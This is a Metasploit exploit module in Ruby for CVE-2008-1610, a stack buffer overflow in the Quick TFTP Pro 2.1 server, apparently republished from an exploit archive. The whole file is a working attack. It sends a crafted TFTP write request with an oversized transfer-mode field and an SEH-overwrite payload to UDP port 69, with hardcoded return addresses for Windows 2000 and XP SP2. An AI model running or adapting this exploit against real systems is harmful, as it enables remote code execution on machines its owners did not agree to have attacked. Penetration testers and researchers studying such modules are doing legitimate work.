Quick TFTP Server Pro 2.1 - Transfer-Mode Overflow (Metasploit)

##
# $Id: quick_tftp_pro_mode.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Quick TFTP Pro server
				product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting
				in a DoS.  This is a port of a sploit by Mati "muts" Aharoni.
			},
			'Author'         => 'Saint Patrick',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					['CVE', '2008-1610'],
					['OSVDB', '43784'],
					['BID', '28459'],
					['URL', 'http://secunia.com/advisories/29494'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 460,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll
					['Windows XP SP2', {'Ret' => 0x74D31458} ],       #oledlg.dll
				],
			'DefaultTarget'  => 1,
			'DisclosureDate' => 'Mar 27 2008'))

		register_options(
			[
				Opt::RPORT(69)
			], self.class)

	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		sploit  = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"
		sploit += "A"*1019
		seh  = generate_seh_payload(target.ret)
		sploit +=seh
		sploit += "\x00"

		udp_sock.put(sploit)
		print_status("Done.")

		handler
		disconnect_udp
	end

end